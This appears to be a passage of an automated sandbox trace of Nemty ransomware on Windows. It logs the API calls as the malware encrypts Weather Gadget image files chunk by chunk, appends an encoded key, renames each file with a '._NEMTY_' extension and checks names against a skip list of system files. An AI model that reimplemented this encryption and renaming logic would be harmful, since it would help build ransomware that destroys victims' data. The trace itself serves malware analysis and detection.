WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="30.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0155.344] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="30.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="30.png", lpUsedDefaultChar=0x0) returned 6 [0155.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0155.344] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0155.344] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0155.344] Sleep (dwMilliseconds=0x5) [0155.358] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x103f6250, dwHighDateTime=0x1d561e8)) [0155.358] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x103f6250, dwHighDateTime=0x1d561e8)) [0155.358] GetLastError () returned 0x5 [0155.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0155.358] GetLastError () returned 0x5 [0155.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0155.358] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0155.358] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0155.358] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0155.358] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0155.358] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0155.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0155.359] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="JfRFfBPh6/PBx1q/4qCX5l86fbxdrabg0iSTVOAmPfgCG51iPj35LdP8k2GY981V\r\n2DYIPXatDwdx/aVHc0M1rPa4r7jUudS0Z+cCwA/7NP0xDXS10vVlukH9o5CBVUI2\r\n3Gn3TGkodv6H8mvKC7SLik9JhpGb7/LOeUWfevQ9Qn7X21crBEBrC5s6UnZdqfPs\r\n7TSu19c2ayi66uCTNz4kSkZgOOzEWJpdfTIqCdv0VomfLA+0jOG5Fd7UdDvGUauN\r\nU13cMHr1bpDPIgP0ib/0SZ5cqZGPTHlZTSz715l1sIo2G7SdQNYvIdxx0aIZfGw/\r\nb954/fnTfjlLp4SKxoW4jw==\r\n", pcchString=0x653e91c) returned 1 [0155.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0155.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0155.359] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0155.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0155.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0155.359] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0155.359] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\30.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\30.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0155.359] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0155.360] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0155.360] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.360] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.370] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.370] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.370] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.379] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.379] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.379] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.379] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.388] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.388] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.388] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.397] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.398] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.398] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.398] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.409] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.409] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.409] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.418] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.418] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.418] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.427] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.427] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.427] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.437] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.438] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.438] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.438] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.447] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.447] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.447] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.447] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.456] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.456] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.456] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.456] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.462] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.462] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0155.468] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.468] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.468] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.468] WriteFile (in: hFile=0xffffffff, lpBuffer=0x63400d0, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0155.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0155.468] CloseHandle (hObject=0xffffffff) returned 0 [0155.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0155.468] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0155.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0155.468] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0155.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0155.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0155.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346e90 [0155.468] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xd6) returned 0x634bc60 [0155.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346e90 | out: hHeap=0x4f90000) returned 1 [0155.468] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0155.468] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\30.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\30.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\30.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\30.png._nemty_kgobjgd_")) returned 0 [0155.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634bc60 | out: hHeap=0x4f90000) returned 1 [0155.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0155.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0155.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0155.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0155.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0155.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0155.469] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346df8 | out: hHeap=0x4f90000) returned 1 [0155.469] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x86a4a530, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x86a4a530, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2adb1031, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x16df, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="31.png", cAlternateFileName="")) returned 1 [0155.469] lstrcmpiW (lpString1="31.png", lpString2=".") returned 1 [0155.469] lstrcmpiW (lpString1="31.png", lpString2="..") returned 1 [0155.469] lstrcmpiW (lpString1="31.png", lpString2="...") returned 1 [0155.469] lstrcmpiW (lpString1="31.png", lpString2="windows") returned -1 [0155.469] lstrcmpiW (lpString1="31.png", lpString2="$RECYCLE.BIN") returned 1 [0155.469] lstrcmpiW (lpString1="31.png", lpString2="rsa") returned -1 [0155.469] lstrcmpiW (lpString1="31.png", lpString2="NTDETECT.COM") returned -1 [0155.469] lstrcmpiW (lpString1="31.png", lpString2="ntldr") returned -1 [0155.469] lstrcmpiW (lpString1="31.png", lpString2="MSDOS.SYS") returned -1 [0155.469] lstrcmpiW (lpString1="31.png", lpString2="IO.SYS") returned -1 [0155.469] lstrcmpiW (lpString1="31.png", lpString2="boot.ini") returned -1 [0155.469] lstrcmpiW (lpString1="31.png", lpString2="boot.ini") returned -1 [0155.469] lstrcmpiW (lpString1="31.png", lpString2="AUTOEXEC.BAT") returned -1 [0155.469] lstrcmpiW (lpString1="31.png", lpString2="ntuser.dat") returned -1 [0155.469] lstrcmpiW (lpString1="31.png", lpString2="desktop.ini") returned -1 [0155.469] lstrcmpiW (lpString1="31.png", lpString2="CONFIG.SYS") returned -1 [0155.469] lstrcmpiW (lpString1="31.png", lpString2="RECYCLER") returned -1 [0155.469] lstrcmpiW (lpString1="31.png", lpString2="BOOTSECT.BAK") returned -1 [0155.469] lstrcmpiW (lpString1="31.png", lpString2="bootmgr") returned -1 [0155.469] lstrcmpiW (lpString1="31.png", lpString2="programdata") returned -1 [0155.469] lstrcmpiW (lpString1="31.png", lpString2="appdata") returned -1 [0155.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="31.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0155.469] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="31.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="31.png", lpUsedDefaultChar=0x0) returned 6 [0155.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="31.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0155.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="31.png", cchWideChar=6, lpMultiByteStr=0x653ebd0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="31.png", lpUsedDefaultChar=0x0) returned 6 [0155.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="31.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0155.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="31.png", cchWideChar=6, lpMultiByteStr=0x653ec20, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="31.png", lpUsedDefaultChar=0x0) returned 6 [0155.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="31.png", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0155.470] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="31.png", cchWideChar=6, lpMultiByteStr=0x653ec58, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="31.png", lpUsedDefaultChar=0x0) returned 6 [0155.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346df8 [0155.470] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346d60 | out: hHeap=0x4f90000) returned 1 [0155.470] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0155.470] Sleep (dwMilliseconds=0x5) [0155.483] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x10526d50, dwHighDateTime=0x1d561e8)) [0155.483] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x10526d50, dwHighDateTime=0x1d561e8)) [0155.483] GetLastError () returned 0x5 [0155.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0155.483] GetLastError () returned 0x5 [0155.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0155.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0155.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0155.483] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0155.483] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0155.483] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0155.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400d0 [0155.483] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400d0, pcchString=0x653e91c | out: pszString="tcaQMAqiwl+8/s/S8jYGFzcswasWRSzD37O6GhsMOfeQ8O1TO+qabHn2EGn1W2Q/\r\ngdGbE6k5QzCbybj6l5hLNQBxB3G/NSQA+HqLtMCHsZ6kM8CpDuYYSlrsr+fnfKhw\r\nYnlRoT6Bhy3UPGbuIWGAbVIUuzeZxn8NlsPOttLoP2nxhudBuwuIZ75jfqtdaQMC\r\n+cl2koLAGFKoarAUCfihVnS5TK7eU72wyWS5Hx8Y607FzSl5JWVi+FfXi8xXgOzy\r\n+ASotLCn4313imOk/4q/IM6cRrStXpc7xDukzy4Qwg5V7tEkvuDPbCuvwcuWzTWF\r\nQg9bMc7KuMkyoLzL7xgVyA==\r\n", pcchString=0x653e91c) returned 1 [0155.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0155.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0155.483] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0155.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0155.483] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400d0 [0155.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0155.484] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\31.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\31.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0155.484] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0155.484] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0155.484] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0155.484] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, 